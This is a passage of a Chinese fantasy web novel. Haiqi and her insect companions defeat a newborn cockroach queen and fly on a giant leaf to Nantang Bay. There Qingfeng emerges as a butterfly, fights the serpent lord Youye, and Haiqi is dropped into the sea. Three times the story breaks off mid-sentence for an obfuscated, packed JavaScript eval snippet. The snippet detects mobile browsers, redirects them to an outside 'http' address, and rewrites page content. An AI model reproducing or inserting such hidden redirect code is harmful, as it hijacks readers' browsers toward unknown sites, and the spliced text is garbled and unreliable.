星星点头再次传达。不过火势已经很大,蜘蛛们织的网都被燎燃,吓跑了更多虫族。 看着地面逐渐燃烧殆尽的蟑螂军,洞穴里也不断传来哀嚎声,成败已定,事情总算要告一段落。 星星下来把剑还给海旗,扑上来紧紧抱住她。 “吓死我了,我还以为你死了呢!” 海旗听到了啜泣的声音,鼻子也感觉酸酸的,轻轻拍拍小家伙的背,说:“我这不是好好的嘛,而且你也好好的。而且你也好厉害,能用声波和昆虫们交流耶,帮大忙了。” “你们别松懈那么快,里面好像有声音。”青凤动了动小触/须,似乎感觉到了什么,一脸警惕。 海旗也凝神细听,但并未发现异常:“这是火焰燃烧发出滋啦声,是正常的。” “不对!有什么东西要从火堆里出来了!”青凤突然猛地往树上爬,寻一处安全地。 13. 朝南塘湾飞 还在积极往火焰里丢树枝的几位螳螂侠士也察觉到了什么,警惕地环视四周,一边撤退。 见状,海旗也明白确实有异样发生,放开星星,握紧手中刀剑,准备迎敌。 “啊——”一声尖锐的虫鸣从火焰中发出,伴随着火焰的滋啦声,一道瘦小的黑影往海旗的方向窜出去。 海旗将刀剑交叉挡在身前,制止了猛冲而来的尖锐镰足,也看清了这是个什么东西。 这个小蟑螂比那老螂后还要小一圈,也就如包裹它的虫卵那般大小。显然这就是那只破卵而出的新王后。 小螂后刚出世就凶猛无比,若不是背靠大树,海旗就要再次飞出去了。这小东西还十分灵活机敏,偷袭不成就立马撤退,变换架势从其他方位进攻。 “现在刚出生的虫都那么强了吗?”海旗说。 “它从后面攻过来了!”星星在不远处观察并提供视线盲区的状况,回答道,“咱们杀它全家,它来报仇这不正常嘛。” 海旗忍不住回怼:“你眼泪擦干了吗?这就开始说风凉话了?” 小螂后反应灵活,且招式狠辣,海旗到底不是专业的练家子,凭着力气大输出伤害。奈何刀剑根本难以挨着对方,反倒是自己已经多处被划伤。 短短几日,这具身体真是遭老罪了。 这样下去不是办法,光靠自己那三脚猫功夫就是死路一条。 “那边偷看的螳螂大哥,可以帮个忙吗?” 方才那几位螳螂侠士,正好有一只撤退到附近,躲在低处暗中观察,被海旗眼尖看见了。 “叫谁大哥呢?谁是你大哥?别跟我套近乎!”原来是位螳螂姐姐。 不知是不是被海旗这么一喊暴露了位置,嫌弃的语气和青凤是一个模子里刻出来的。 海旗一边应对从暗处发出的突袭,一边打着商量:“抱歉啊螳螂姐姐,眼拙了。能请你出手帮忙制住那只小螂后吗?我抓不住它。” 螳螂姐姐转身重新寻找隐蔽的位置,说:“看情况吧。” 小螂后似乎听懂了她们的对话,攻势一转就追着螳螂姐姐去,想先解决一个。 海旗便瞅准时机,打算从枝杈上跳过去来个一击命中。小螂后察觉到背后动静,羽翼微动,身体一侧就躲开了,同时甩出满是倒刺的前足来了个突袭,海旗手腕一转用剑化解,也将俩人弹开了一定距离。 正自由落体间,星星俯冲而下拽住海旗的衣服减缓下落速度。海旗则抓住机会将镰刀瞄准扔出去。 “好重啊!我快拽不住了!”星星使出吃奶的劲儿往上飞,“你这身破布条不会被我拽散吧?” 海旗也感觉到身上布料的松动,赶紧扯住胸口的位置:“没事,散不了……应该。” 镰刀精准地命中了小螂后的背,见状,一直伺机而动的螳螂姐姐和潜伏在四周的虫族都赶紧上去补刀。 等海旗安全落地后,跑过去查看情况,小螂后正在被其他涌上来的虫族啃食。它还没咽气,一双大大的复眼死死地盯着海旗,总觉得下一秒它就要重新飞起来将自己吞噬。 捡起掉落在旁边的镰刀靠近小螂后,其他虫族知道是她带领大家灭了这个大敌,因此自觉让出道路。 海旗蹲下身,道:“小螂后,来世请不要做蟑螂了哦。”接着手起刀落,身首分离,被其余虫族蚕食殆尽。 火焰烧得旺盛,险些波及周围的大树时,天空下起了淅淅沥沥的小雨,眼看就要扑灭大火。 但为了彻底永绝后患,星星指挥众虫拾来足够多的大片树叶,由蜘蛛们将其织到一起,撑在高处,为火焰保驾护航,持续燃烧到日落。直到大雨将叶网打落,彻底熄灭大火。 火灭之后,几只螳螂侠下洞穴里巡查,以防有遗漏的活口,有的话就顺手灭了。直到完全确保安然无恙,众虫才拖着疲倦的身躯返回巢穴。 它们在今日是患难与共的大家族。今日之后,该是食物的依然会被猎食,该是死敌的继续相互厮斗。 “你这人类不错,我挺喜欢你的。” 之前呛她的螳螂姐姐在离开之前对着海旗嗅了几圈,十分感兴趣的样子,直到同伴将它叫走。 海旗对它的行为以及这句话都挺害怕的,生怕对方一个兴起一口将她脑袋咬了,幸好蛙哥也一直在旁边帮忙盯着。 对于蛙哥的帮助海旗是不胜感激的。自己慢慢没做什么天大的事,却让蛙哥以命涉险来救自己。和蛙哥告别时直接来了一个大大的拥抱,然后海旗就自闭了,身上黏黏滑滑的清理了好久。 “对了,距离青凤的化茧期还有几天了?”不知道在水洼里泡了许久才起身的海旗终于想起了关键事。 青凤第一次将丝都吐尽了,异常疲惫,靠在树上啃着垂在嘴边的树叶,无力地说:“还有三天。” 海旗问:“话说我们现在不在第一次走的那条路上了吧?从这里去南塘湾远吗?” 青凤深深地叹了口气:“不在了。这里是最近的那条路,三天路程差不多能到。” 海旗说:“那不歪打正着了嘛,最后三天我们刚好能赶上吧?” “赶不上了。”一道瘆人的男声突兀地响起。 幽夜从半高的树杈上悠哉地往下爬,还是小蛇的形态。查看了青凤的情况后,金光闪过,变回人身蛇尾的模样。 当然是缩小版的,也就比海旗高出一个头。 幸好被星星扯松的衣服已经重新绑好,到底也算半个男人,不然多尴尬。 海旗对他没什么好语气,淡淡地问:“虫主大人好悠闲啊,看完戏知道出来说话了。” “喂!你怎么对虫主大人说话呢?”青凤第一个不满海旗的阴阳,拖着疲惫的身体也打抱不平。 幽夜倒是不生气,抬手让青凤冷静。解释道:“青凤的化茧期恐怕要提前了,撑不到三日后。” 青凤哼地转身生闷气去了。 “那能劳烦尊贵的虫主大人将我们送到南塘湾去吗?您神通广大,这应该不是什么难事吧?”海旗说。 星星在后头拿小指头轻轻地戳海旗的肩膀,眼睛瞪得大大的,低声道:“你转性了?敢对虫主火气这么大?” 海旗其实是生气了。 虽说是被幽夜强行冠上“好朋友”这层关系的,可不管出于什么原因,只要自己点了头,就是承认了这段友谊的。 那么不管三七二十一,海旗潜意识里已经将对方划入自己的圈里了。 既然对方已经在圈子里,那么在海旗看来,朋友之间就是要互相理解互相尊重的,是万万不可背信弃义见死不救的! 偏偏幽夜一直躲在暗处看戏! 身为虫主却任由其子民对她痛下杀手,无视身为好朋友的自己被当作食物差点被吃掉。如今事情得以解决他就大摇大摆地出现,说些推进剧情的风凉话,连假意关心的话都不多说一句,跟个游戏里的NPC一样! 其实皮下就是个冷血淡漠的恶魔吧!而且长得就很恶魔! “我不想和您做朋友了,我们绝交吧!”本来是想硬气地直接这么说的,但海旗硬气地选择忍住了。 毕竟她对虫主的了解甚微,谁知道幽夜是个怎样的人……虫呢?他都可以对“好朋友”如此淡漠,一旦友谊破裂让他雷霆大发…… 不敢想,海旗现在累死了,没有精力再去对付多一个虫了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586007|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是尊贵的虫主大人还想和她做“好朋友”,忍受一点阴阳怪气怎么了?活了不知道多久的大妖怪了,总不能这点见识都没有! 幽夜全程看着海旗的内心戏在脸上呈现,虽然还是不解自己为何被针对,只觉得对方甚是有趣。 他笑着道:“我无法插手碧凤一族的化蝶仪式。” 海旗被对面这抹阴森森的笑惊得打了个冷战,静悄悄地挪动位置远离他,好瘆人的标准蛇男的阴暗笑容。要不您还是变回小蛇吧。 幽夜收起了笑容,转身离开了,留下一道“落寞”的背影。 走了正好,海旗巴不得他快点走。身心一放松下来,困意就上涌,很快就倚着树干睡着了。见状,星星去捡了一片巨大的叶子,盖在海旗身上,然后钻进怀里睡过去。 太阳重新升起时,乌云散去,是一个晴朗的早晨。 海旗苏醒后,先是舒服地伸了个懒腰。然后看着身上的大叶子和大叶子上白色的衣服发呆。 星星被海旗的动静吵醒,坐起来眯缝着眼四处看看,又倒下继续睡。青凤也还蜷缩成个大青球。 “醒醒,都醒醒。起床啦!”来自幽夜的忠告在脑海中翻涌,海旗将它们叫醒,“我们得出发了。” 青凤的化茧期将会提前,幽夜也没有明说具体提前到何时。总之南塘湾是无论如何都要去的,没有时间给她们耗下去了。 海旗拍拍小家伙的脸蛋帮助它快速清醒:“星星,小星星!这个叶子是你给我盖的吗?从哪里找来的?” 星星口齿不清地指着某个方向:“你换衣服了?我去那边捡的,有好多呢……” 这片巨大的叶子大到能被海旗当被子盖都不漏脚的那种。 海旗问:“还有没有更大的叶子?快带我去看看。” 三人来到不远处长满了巨大植物的地方,不过叶子多少有点秃,基本只剩杆和根茎了。 “这些叶子是昨天被摘去挡雨的。”星星说。 原来如此。 “星星,你知道仙侠世界吗?”海旗激动地问。 星星疑惑地挠挠小脑袋:“那是什么?” 青凤也一脸莫名其妙地看着海旗。 “没时间解释了,总之,我有办法快速到达南塘湾了。我们御叶飞过去!”说罢海旗就往视野中最大的目标叶片过去,一只手按在腰侧的镰刀上。 星星听得懵懵懂懂,只有青凤一脸呆愣地站在原地眼皮打架。 飞过去?怎么飞?用它的丝荡着飞吗? 经过默契配合——其实就是星星飞到高处选中叶片,再由海旗负责割下。她们找到了其中最大的一片,大到站下她们仨都没问题。 “接下来,我们得爬树顶上去。青凤,又得麻烦你了。”海旗和星星配合着将大叶子卷起来。 青凤见识过海旗的计谋并且还成功活着后,已经学会不抬杠了,默默爬上树,再将海旗拉上来。 “话说,你哪来的裙子啊?”星星飞在旁边又问了一遍。 海旗说:“不知道啊,醒来就在身上了。应该和这两把刀剑一样,控梦之术变出来的吧。” 星星问:“控梦之术?这又是什么?” “是我给自己的独特能力取的统称。这样比较方便交流。” “哦。” 海旗将大叶子重新铺开在树梢,三人小心翼翼地站上去。然后集中精神,没多久,叶片就颤颤巍巍地动起来,缓慢上升。 三人皆一脸惊喜,尤其是青凤:“这是什么?这是什么?我能在空中飞?” “哇啊——”海旗畅快地喊出声。 星星也跟风一起喊:“往南塘湾出发!” 14. 穿云树 蔚蓝的天空万里无云,阳光和煦。一片片葱绿从眼下略过,高空的风依然是温柔的。 海旗开心道:“我就知道我这招肯定能成!” 青凤每一只脚都在用力抓紧叶片,生怕自己一个脚滑掉下去了。 如今它对海旗是佩服得五体投地,从未见过哪个人类能做到她这样的,简直太刺/激啦! 青凤说:“你就没想过万一没成功该怎么办吗?” 海旗淡定道:“你不会是晕飞行物吧?怎么抖那么厉害?别害怕,摔了再说,反正总会有办法的。嘻嘻。” 青凤哇哇大叫:“嘻嘻什么嘻嘻?我告诉你啊,你你你一定得确保我的安全啊!” 海旗说:“知道啦。目前方向正确,航线稳定。接下来我们只需欣赏沿途风景,等待到达目的地。” “哇哇哇!”星星一直趴在叶片边缘往下看,激动得不能自已,“海旗快来,底下好多花!这里好漂亮啊!” “来了来了,我看看。” 原来森林并非只有单一的绿,如今恰好途经一片花海。从高处看只能辨别出白色和黄/色的小花,满满一片,不少蜜蜂正在勤劳地采蜜。 在飞一段距离,还看到了许多不知名植物,有紫叶的,有蓝叶的,还有长得像弹簧的……这些植物长得不高,胜在足够显眼。 还有其他叫得出名字的榕树、桉树、梧桐、松树等等,瞧见了不少,五彩斑斓的花朵点缀在其中,十分有格调。栖息在其中的大虫子们也都暴露在高空的视野里,玩耍的、捕食的、还在睡懒觉的,杂乱中带着一丝和谐。 但此时海旗的心里有一个更适合的词能形容眼前所见的一切,那就是——生机勃勃。 只不过这里是巨虫的世界,没有鸟类。若是有能与之同行的鸟儿在旁,那么乐趣将在提升一个等级。 “嗨。” “喔!”海旗被突如其来的声音吓了一跳,一抬头看见一只螳螂与叶片保持平行地飞在旁边。 原来螳螂能飞那么高呢! 海旗试探道:“螳螂姐姐?” “哎呀呀,你果然还记得我。”螳螂姐姐开心地伸出它那对大镰足就想往海旗脸上摸。 海旗迅速后退,指着它镰足上的倒刺:“这……这不太好吧!” “好吧,不吓唬你了。”螳螂姐姐收回镰足,饶有兴致地问,“你们去哪儿呢?” 海旗没有隐瞒:“去南塘湾。” 螳螂姐姐瞄了一眼后边的青凤,立刻明白了:“哦~这样啊。” 青凤哼地别过头,继续自顾自地欣赏美景。 “呵呵~我在底下瞧见个怪东西在天上飞,上来看看,没想到是你。那姐姐我就不打扰你们了,人类,有空记得来找姐姐玩玩儿!”然后螳螂姐姐抖了抖它的触/须,轻抚过海旗的脸蛋,俯身飞回森林之中。 海旗:“好啊。” 只不过能不能再见就是另一回事了。毕竟自己没有雷达功能。 用飞的就是比走的更快,一路畅通无阻,而且天气在线,一整天都没有下雨,直至日落西山。 星星四处张望:“我们要不要找个地方降落,歇息一下?” “咕噜噜~”巨大的声响从青凤的腹中发出。飞了一天,它也已经一整天没吃东西了。 海旗正要控制叶片下降,结果青凤制止了她,摇头道:“继续飞就好,已经快到了。” 青凤指着远处的天际线:“南塘湾有一棵穿云而过的大树,那里就是我的目的地。我已经能看见云端上的树冠了。” 海旗睁大眼睛却什么也没看见,疑惑道:“星星,你看见了吗?” 星星往前飞了一段距离,而且飞得更高,回来后失望道:“没看见。” 虫的眼睛与人类不同,它们能看见更广阔且细致的视野。而海旗不知道的是,南塘湾的那棵穿云树,本就是碧凤一族的故乡。 这是青凤血脉的归乡情切。 海旗说:“那你搭窝是不是需要树枝?等到了南塘湾,我们就去捡树枝。保准给你搭个漂漂亮亮的窝。” 温柔的晚霞为整片森林披上了一层橘色的薄纱。 越是往南,高大的树木就越稀少,主要以草地和灌木丛为主。没过多久,太阳下山,灰蓝的天光将天那边的海洋倒映在视野中,安静、祥和。 南塘湾是森林沿海的一片湿地,水生植物遍布海岸,穿云树位居湿地中心的一座小岛上。 “南塘湾看起来好冷清啊,好像没有其他生物在这里生存的样子。”星星感慨道。 “这里已经荒废了。”青凤愣愣地看着眼前的景象,心脏跳动的每一下都在为归乡欢呼。 “我的心告诉我,南塘湾曾是我们的家园。” “碧凤一族只能在穿云树上才能成功结茧化蝶。否则将爆体而亡。” “毁灭我们的从来都不是所谓的天敌,而是……” 青凤沉默了,没有再继续往下说。 穿云树明明已经近在眼前,海风却一次次柔和地将她们往回送。没办法,海旗便将大叶子停在海岸的草地上。 一抬头,不远处的水生植物中恍然站着个人影。 人影依稀能看出来是个男人,背对着她们,一头中长发,卷翘的发尾慵懒地搭在肩上。只见男人动了一下,轻微仰头,看着远处的穿云树。 “海珀?”海旗的嘴唇无声地动了动。 男人似乎察觉到什么,微微侧头瞥了一眼岸边的位置,抬手做了个扶眼镜的动作。随后消散在月光之下,悄无声息。 “海旗,你在看什么?”阴冷的男声突然在耳边响起,伴随着温热的呼吸。 稍一侧头,就看见了幽夜那张极致俊美的脸靠得极近,墨绿的长发垂落在身前,蛇信子吐/出撩过耳垂,引起一阵鸡皮疙瘩。 海旗猛地一把将其推开,不断揉/搓耳垂以缓解异样之感,恶狠狠道:“你有病啊!”甚至忘了对虫主的恐惧。 还好幽夜没有生气,只是轻声笑了笑,似乎很满意自己的恶作剧。 就是笑容依然阴森可怖,让海旗想起了恐惧。 “你穿裙子很好看。”幽夜说。 突如其来的夸奖让海旗莫名:“什么?” 本想说:“好看是当然的,但是关你什么事?”但海旗依然忍住了,转而微笑着问:“虫主大人来这里做什么?担心青凤吗?” 幽夜收起了笑容,不解道:“你还在生气?” 海旗:“……” 指了指那边不太正常的青凤:“现在不是说这些的时候吧?” 她们落地后,青凤并没有要去吃点东西的打算。它还保持着怔愣的神情趴在叶子上,状态不太好。显然还没消化完来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586008|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑子里刚接收到的巨大信息。 星星则待在青凤身边很是担忧,还跑去摘了些嫩叶想给青凤吃。但青凤头一挪,拒绝了食物。 幽夜说:“南塘湾是碧凤一族的巢穴,但在百年前,一场海啸将这里变成如今的湿地。四散奔逃的族群逐渐沦为其他昆虫的食物,碧凤一族因此走向灭亡。” “那颗穿云树曾是最初的碧凤女王所种,护佑族虫平安在树上结茧化蝶,而每一只碧凤蝶在死后都将化为穿云树的养料,落叶归根。” “但是百年来能回到此地的碧凤幼虫越来越少,这棵树也快枯死了。它知道,青凤将是最后一只能化蝶的幼虫,它一直强撑着,就是想在最后护佑青凤成功化蝶。” 青凤在旁边听着听着,大颗大颗的泪滴就委屈地砸下来了,前足不停地抹眼泪。 “虫主大人!呜呜呜……”终于忍不住扑上去抱着幽夜哇哇大哭。 海旗也上前默默地拍拍青凤表示安慰,星星的小手也学着海旗的动作放在旁边。 起风了。夜晚的海风凉意十足。 风将遮挡月亮的云吹散,原来今晚是月圆之夜。 月光洒在穿云树上,泛起微光,光芒与还在哇哇哭的青凤连接,将青凤吸走。 幽夜温柔道:“别怕,它不会伤害你的。” 青凤一开始确实被吓着了,听到虫主的安抚后,慢慢冷静下来,感受着身体中不断涌出的温暖力量将自己包裹。 就这样,青凤来到穿云树顶端,白丝控制不住地从嘴里吐/出,直至完全包裹。好温暖,好舒服。就像是飘在云朵上,又像是徜徉在汪洋大海中。 远远望去,青凤把自己裹成了个小灯泡挂在树上。穿云树为其输送养分,茧丝吸收圆月之精华,将其化作甘露,滋润每一寸肌肤。 海旗问:“青凤需要多久能破茧?” 幽夜道:“黎明之际,破茧成蝶。” “一晚上就够了?” 海旗很是意外时间之短,第不知道多少次告诉自己,在这里不能以常理来判断一切。 “裙子……还喜欢吗?” 沉默良久后,幽夜又问起了之前的话题。 “你为什么一直问裙子?”海旗突然反应过来,扯了扯身上的白裙子,“难道这是你送的?” 幽夜点点头:“嗯。” 海旗问:“为什么送我裙子?” 幽夜说:“人类不是都喜欢裙子吗?而且你原先的衣服脏了,还破了。” “破了那是我扯的。”海旗突然就放下了对虫主的恐惧,莫名觉得他还挺可爱的。 “等青凤化蝶,要去我的洞窟吗?”幽夜还记得这个,再次提出邀请。 海旗望着穿云树的方向,没有回答。她还记得自己要去大海捞针地寻找这个梦境世界的意识体呢,没有那么多时间去陪虫主玩“好朋友上门做客”的游戏。 而且她也不觉得幽夜身为虫主,能有想和人类交朋友的心思,恐怕只是一时好奇引起的兴趣罢了。 幽夜追问:“海旗?为什么不回答?” 海旗只好搪塞道:“再说吧。我累了,先睡了。星星过来,让我抱抱。” “好。” 闻言,星星乖巧地扑进海旗怀里。 小小一只,香香软软的,像抱了个洋娃娃,很快就爱不释手舍不得放开了。 15. 化蝶 海旗好像做了一个梦,梦里海珀在病床前叮嘱她吃药,一直坐在床边絮絮叨叨与自己说话,却什么也听不见。 醒来时,幽夜就在旁边坐着,笑眯眯地打招呼:“醒了?” 天还是黑的,但海旗一下子就清醒了。 月亮西沉,星光疏散,海岸线的天空褪/去黑暗,呈现灰调的深蓝色。 海旗望了一眼穿云树上挂着的青凤,还是和睡前一样的状态。问道:“青凤是不是快破茧了?” 幽夜点头:“嗯。” 给星星掖了掖盖在身上的叶片,海旗起身往海边的沙滩去。 “你跟着我做什么?”海旗回头疑惑地看着跟上来的幽夜。 幽夜说:“你还没回答我。” 海旗捧了一把海水往脸上泼,海水流进嘴里,齁咸地呸了好几口。随后只见幽夜手一挥光一闪,嘴边的水就变成淡水了。 “你还有这功能呢?”海旗新奇地问。 幽夜下巴抬起了一个微小的弧度,说:“嗯。” 海旗简单洗漱完,就在沙滩上来回走动。并不与幽夜说话,而对方竟也就沉默着跟着她。 蛇尾“沙沙沙”地在沙面上挪动,良久后,海旗终于是忍不了了。 “虫主大人,你很吵啊!” 幽夜止步,低头看了看自己的蛇尾,又抬头看了看还在往前走的海旗。又是一挥手,蛇尾变换为人类的双腿,抬脚继续跟上去。 听到爬行声变脚步声,海旗回头看看究竟怎么个事,又迅速扭头别开眼。 “虫主大人,你们虫的世界可能没有羞/耻没有男女有别这一回事,但这在我们人类眼里可不太雅观。能不能请你给自己穿身衣服?” 幽夜再次低头看了看自己的双腿,说:“额……我知道了。” 等海琪再回头看过去的时候,又捂住嘴默默移开视线,心里告诉自己:“憋住,不能笑!” 直到笑声即将从指缝间溢出,海旗直接蹲在沙滩上,轮到幽夜不解她的动作。 幽夜问:“很好笑吗?” “对不起,主要是我第一次见男人穿白裙子……”海旗拼命忍住笑,又想起来他前面说人类都喜欢裙子,“你没见过男人穿什么衣服吗?你为什么给自己……算了我不说了。” 见幽夜被嘲笑得有些自闭了,海旗放过他了。然后在沙滩上画出男款的衣服样式,这才将自己身上一模一样的大号白裙子换掉了。 此时幽夜身上的是一身休闲的白色运动服,虽然和他阴冷潮湿的气质不大相符,但总比裸奔好。 天际愈来愈亮,距离青凤破茧的时间也越来越近。 海旗将星星叫醒,打算一同见证这个重要时刻。 星星很快就注意到人形态的幽夜,拽着海旗小声问:“我是不是眼花了?这是虫主?” 海旗本想与之分享方才的趣事,刚要开口幽夜的眼神就瞥了过来。海旗转过星星的脑袋,说:“你没看错。我们看对面吧,等待青凤的高光时刻。” 随着朝阳初升,第一抹光线照耀于穿云树顶端时,包裹着青凤的茧丝光芒大绽。 她们知道,最重要的一刻要来了! “海旗。”幽夜轻轻叫了一声。 海旗随意应道:“嗯?” 再次提出邀请:“要来我的翠影窟吗?” 海旗没办法继续避而不答了,说:“我不是早就答应过了吗?” 是的,幽夜第一次提出这个邀请时,海旗为了敷衍过去是答应过他的。这是知道她是随口说说的所以一定要问到自己答应为止吗? 得到肯定的回答后,幽夜笑了笑。人形态的他笑起来要柔和得多,没那么阴森可怖了。 穿云树端凝聚了不知多少个日夜的露珠,在此刻将其浇灌到茧丝之上,将朝阳之精华吸收殆尽后,光芒散去,露出最本真的模样。 很快,茧丝颤动,裂开了一道小口,青凤马上就要出来了。 海旗屏气凝神地注视着。 随着裂口越来越大,海旗感觉自己的心似乎也被什么东西揪住了。 青凤的触角率先钻出来。不同于幼虫时直挺挺的,此刻卷曲纤长的两根触角都足以窥见未知的美丽。 随之是蜷缩在其中的身体,已经褪/去圆润可爱的外表,还看不清具体是何模样。 只见青凤颤动着躯体,想要挣开束缚住她的茧壳,彻底舒展自己崭新的身躯。 这并不是一个快速从容的过程,海旗和星星在远处不由得为其担忧。 差点将自己屏气过去之际,一双墨色的美丽羽翼终于从茧丝中挣脱、展翅。终于,青凤挣脱了所有束缚,获得新生。 海旗双手捂在心口处,望着高贵的碧凤蝶绕着穿云树展翅飞翔,承蒙最后的庇佑。也终于看清了青凤新生的模样。 她竟然像极了人类,一头墨黑长发垂于身后,发尾有一段碧蓝色,长着人类的双手双脚,拥有人类女性特征的身躯。不同之处只在于头顶的触角与背后的羽翼而已。 青凤朝她们飞来,穿云树在她背后迅速腐朽塌陷,化为灰烬。 看着朝自己越来越近的青凤,幽蓝的眼眸蛊惑人心,要将海旗吸进去,不由自主地夸赞:“好漂亮……” 青凤却绷着脸,一言不发将海旗和星星揽过去,与幽夜拉开距离。 幽夜并无动作,冷眼看着,似乎早就猜到青凤会有此动作。 海旗的视线被巨大的羽翼挡住,满脸不解。星星则是一言不发地拽着海旗的衣服。 感觉到青凤紧绷着的身体,海旗疑惑地问:“青凤?怎么了吗?” 青凤低头看着被自己护在怀里的人,温柔地开口:“没什么,一只虫子而已。” 声音满是性感魅惑的,与她此刻的外形十分匹配。 青凤扇动羽翼,企图将幽夜吹跑。但是没用,气定神闲地立在原地,满脸无辜道:“青凤怎么化蝶了反而这么大脾气?” “灭我全族的是你,对吧?”即使变了个模样,青凤依然傲气,“这是我与你的账,怎么能将海旗牵扯进来呢,虫主大人?” 海旗蒙了:“到底发生什么了?” 幽夜说:“海旗,答应了要去我那儿做客……” “闭嘴吧!你以为我不知道你究竟是什么心思吗?”青凤喝道,“需要我为你言明吗?” 幽夜没了耐性,一条粗壮的蛇尾朝她们横扫而来,将其击飞。又在半空被一层透明的障碍阻挡,掉进湿地。 入水的那一刻,海旗脑中一片空白。 “完了,我不会游泳!”意识中蹦出来的是这么一句话,以及潜意识里对溺水的恐惧。 记忆里的自己是会游泳的,小时候和海珀常常跑到水库里玩水,还是海珀教会她游泳的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586009|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可此刻心中只有呼喊求救的本能,手脚不听使唤地胡乱拍水,水面的植物根系已经被她缠绕得身上都是,越是挣/扎,身体越沉重。 无法呼吸了。水草似乎被缠到了脖子上,缠了几圈,越收越紧。 眼泪被逼出来与海水融为一体无助地望着越来越远的水面,水生植物的根系深深地往海底延伸,好壮观好漂亮。可身边没有能与之分享的人,嘴里鼻子里被灌满了海水,开不了口喊不出声。 视线逐渐模糊,意识开始消散。 “哥哥。” 我快要淹死了,没人来救我吗? “海珀,你明明说游泳很好学的,丢进水里扑腾两下就学会了。你说万一发生意外了,你会及时来救我的。你说不会让我呛水的……” “哥哥骗人,我都溺水了,你还不来救我……” “咕噜咕噜噜……”星星这边终于挣脱了缠在身上的水草,找到一直下沉的海旗,拽着拼命往上游。 “……海旗,听得到我说话吗?”身体感觉被什么东西重重往下压,接着就是一阵呕吐感,海水止不住地往外涌,“你别吓我啊!” 将口中的水吐/出去后,海旗感觉喉咙特别痒,又止不住地咳。 星星见她有反应,挂着满脸泪痕高兴地笑了,上下紧张地查看海旗的状况:“太好了,你终于醒了。我还以为你……呜呜呜……” 海旗想伸手安慰一下它,却发现自己浑身乏力,手根本抬不起来。只好回以抿嘴一笑,告诉星星,自己很好,不要担心。 她注意到,星星的小手在抖。而另外一边幽夜和青凤打得天昏地暗。 一下就想明白了,自己是被星星拉回岸上的。也不知道它做了多久的心肺复苏,才等到自己醒过来。 它用这副小小的身板将自己从死神手中带了回来。 海旗歇息了一会儿,才挣/扎着爬起来。 虽然还不知何状况,从只言片语中获得的信息来看,幽夜才是灭了碧凤一族的人。而且他还想诱惑自己到他的洞窟去,恐怕也是要将自己吞吃入腹。 不过海旗不太明白。为何青凤后对自己如此袒护? 她对幽夜的恨倒是想得明白,毕竟幼虫时百般尊敬的虫主大人,结果是碧凤一族灾难的罪魁祸首,也是自己一生皆是苦难的源头。 强烈的落差感让她产生对幽夜由尊敬转为憎恨。 “嘣——” 剧烈的撞击声让海旗抬头望过去。只见幽夜被青凤的翅膀击飞到远处的树丛中,撞断了好几棵树。 “海旗?你还好吗?”青凤瞥见虚弱的海旗正朝自己的方向来,立马迎上去。 海旗点点头表示自己可以,本想将自己腰侧的刀剑给青凤用,结果摸了个空。不知道什么时候,刀剑消失了。 青凤微微弯下腰,往海旗的额头轻轻地印上了一个吻。 海旗不明所以,呆在原地,不解地望着她。 紧接着,青凤将海旗打横抱起,往穿云树崩塌的位置飞去。这一次,障碍已然消失,通畅无阻地来到穿云树原先树冠的地方。 青凤说:“这是你一直在找的东西。现在,我将它还给你。” “抱歉海旗,往海底去吧。” “我们还会再相见的。” 话一说完,青凤松开手,海旗再一次坠入海洋,星星沉默地紧随其后,一同沉溺。 16. 蔚蓝海域、启 海旗轻飘飘地往下沉,又像风托着自己在空中翱翔。 “咘噜噜……” 不知过去多久,有什么东西一直在戳海旗的身体和脸蛋,耳边还有咕噜咕噜小鱼吐泡泡的声音,一股诡异的氛围围绕着自己,不由得皱眉。 一睁开眼,映入眼帘的就是近距离下一张精致粉/嫩的瓜子脸,一双明亮的蓝紫眸子炯炯有神地盯着海旗,眼神中充满好奇。 仔细一看,这“人”的双颊长着蓝紫色的鳞片,就连一头长发甚至双唇都是配套的蓝紫色,还长了一对蓝紫色的透明耳鳍,长长的仙气飘飘的,非常漂亮。 海旗禁不住想到,这鳞片生长的位置和星星的好像。 “咘噜噜~你好呀~”蓝紫色眸子的主人兴奋地更凑近海旗,声音甜美诱/人,并绕着她上下其手,“你是什么呀?长得好奇怪,第一次见耶!好神奇啊!” 根据身体的感知,海旗终于回过神来,如今自己正身处大海中呢! 鼻子猛地一吸气,下意识就要挣/扎呛水了,结果下一秒发现自己竟然可以在水中顺畅地呼吸,手脚扒拉几下后赶紧找回平衡,环顾四周环境。 大片的海蓝色背景,五彩斑斓的小鱼儿欢快地畅游在其中,肉粉色的珊瑚群随波飘动。海面遥远,是群鱼翱翔的天空,也是海旗遥不可及的生。 转身往海底看去,自己竟然还未沉到底。海底有一道大裂沟,漆黑一片,仿佛下一秒就有巨大海怪从中穿出来。 